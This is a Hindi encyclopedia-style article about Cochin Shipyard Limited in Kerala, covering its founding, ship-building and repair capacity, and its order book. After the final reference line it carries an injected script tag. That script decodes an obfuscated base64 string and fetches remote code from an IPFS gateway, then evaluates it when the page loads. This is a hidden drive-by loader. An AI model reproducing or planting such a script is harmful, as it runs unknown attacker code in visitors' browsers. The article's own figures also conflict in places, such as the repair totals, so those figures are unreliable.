कोचीन शिपयार्ड
कोचीन शिपयार्ड
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विवरण | 'कोचीन शिपयार्ड' भारत का सबसे बड़ा शिपयार्ड है। यह शिपयार्ड जलयानों के निर्माण तथा मरम्मत आदि का कार्य करता है। |
देश | भारत |
राज्य | केरल |
शहर | कोचीन |
स्थापना | 1972 |
मुख्यालय | कोचीन, केरल |
सेवाएँ | पोत प्रारूप बनाना, पोत निर्माण, पोत मरम्मत आदि। |
कार्यरत कर्मचारी | 1,786 (मार्च, 2015) |
संबंधित लेख | भारतीय नौवहन निगम, जहाज़रानी मंत्रालय, भारत सरकार |
अन्य जानकारी | सीएसएल में जहाज़ मरम्मत का कार्य 1983 में शुरू हुआ था। अब तक करीब 900 जहाज़ों की मरम्मत यहां कराई जा चुकी है। |
कोचीन शिपयार्ड लिमिटेड (अंग्रेज़ी: Cochin Shipyard Limited या CSL) भारत के पश्चिमी तट पर केरल के कोचीन शहर में स्थित है। यह देश का सबसे बड़ा शिपयार्ड है। सीएसएल में जहाज़ मरम्मत का कार्य 1983 में शुरू हुआ था। अब तक करीब 900 जहाज़ों की मरम्मत यहां कराई जा चुकी है। इनमें तेल खोज उद्योग के जहाज़ों को प्रोन्नत बनाना, नौसेना, भारतीय नौवहन निगम, केंद्रशासित प्रदेश लक्षद्वीप, तटरक्षक और पोर्ट ट्रस्ट के जहाज़ों की समय-समय पर मरम्मत और नवीनीकरण शामिल है।
स्थापना तथा क्षमता
सन 1972 में बना कोचीन शिपयार्ड 1,10,000 डीडब्ल्यूटी तक जहाज़ बना सकता है और 1,25,000 डीडब्ल्यूटी तक मरम्मत कर सकता है। यार्ड ने टैंकर, बल्क कैरियर, पोर्ट क्राफ्ट, ऑफशोर पोत तथा यात्री जहाज़ सहित विभिन्न प्रकार के जहाज़ बनाए हैं। सीएसएल ने हाल ही में मैसर्स क्लिपर ग्रुप, बहमास के लिए बल्क कैरियर, मैसर्स आटको, सऊदी अरब के लिए अग्निशामक टग तथा नार्वे की डीप सी सप्लाईज़ के लिए प्लेटफार्म सप्लाई पोत निर्मित किए हैं।[1]
ऑर्डर स्थिति
कोचीन शिपयार्ड लिमिटेड की 1 जुलाई, 2008 की बुक ऑर्डर स्थिति इस प्रकार थी-
- नार्वे साइप्रस, यूएसए और नीदरलैंड की शिपिंग कंपनियों को 16 प्लेटफार्म सप्लाई पोत, साइप्रस की शिपिंग कंपनियों के लिए 4 एंकर हैंडलिंग टंग तथा भारतीय नौसेना के लिए देशी एयरक्राफ्ट कैरियर के लिए नामित किया गया है।
- 1 अप्रैल, 2005 को शिपयार्ड के पास 15 जहाज़ों के निर्माण के आदेश थे। ये सभी निर्यात के आदेश थे। इनमें से 5 टग नौकाएं हैं जो सऊदी अरब के मैसर्स ए.ए. टर्की कॉर्पोरेशन के लिए हैं।
- 30,000 डीडब्ल्यूटी के 6 भार वाहक जहात डेनमार्क के मैसर्स क्लिपर्स ग्रुप, 4 प्लेटफार्म सप्लाई जहाज़ नार्वे की मैसर्स सी टैंकर्स मैनेजमेंट कंपनी के लिए हैं।
जहाज़ मरम्मत कार्य
सब्सिडी मिलाकर इन सभी निर्माण आदेशों का मूल्य 953.54 करोड़ रुपए है। देश में निर्मित होने वाले पहले विमान वाहक युद्धपोत का निर्माण इसी शिपयार्ड में हुआ। इस युद्धपोत के लिए इस्पात काटने का काम 11 अप्रैल, 2005 से शुरू हुआ था। सीएसएल में जहाज़ मरम्मत का कार्य 1983 में शुरू हुआ था। अब तक करीब 900 जहाज़ों की मरम्मत यहां कराई जा चुकी है। इनमें तेल खोज उद्योग के जहाज़ों को प्रोन्नत बनना, नौसेना, भारतीय नौवहन निगम, केंद्रशासित प्रदेश लक्षद्वीप, तटरक्षक और पोर्ट ट्रस्ट के जहाज़ों की समय-समय पर मरम्मत और नवीनीकरण शामिल है। 2004-2005 के दौरान जहाज़ों की मरम्मत का कारोबार 129.00 करोड़ रुपए का था। एक दशक से अधिक समय से शिपयार्ड को मुनाफा हो रहा है। यार्ड ने 300 टी गेंट्री क्रेन, अतिरिक्त खाड़ी, मरीन कोटिंग शॉप, सचल आउटफिट शॉप सहित सुविधाएं बढ़ाने का कार्य हाथ में लिया है। यार्ड देश का अग्रणी जहाज़ मरम्मतकर्ता है और सभी तरह के 1200 जहाज़ों की मरम्मत कर चुका है, जिनमें ओएनजीसी, नौसेना और तटरक्षक जहाज़ों की मरम्मत शामिल है। पिछले कई वर्षों से यार्ड लाभ कमा रहा है।
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टीका टिप्पणी और संदर्भ
- ↑ भारतीय नौवहन निगम लिमिटेड (हिंदी) archive.india.gov.in। अभिगमन तिथि: 20 जनवरी, 2017।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>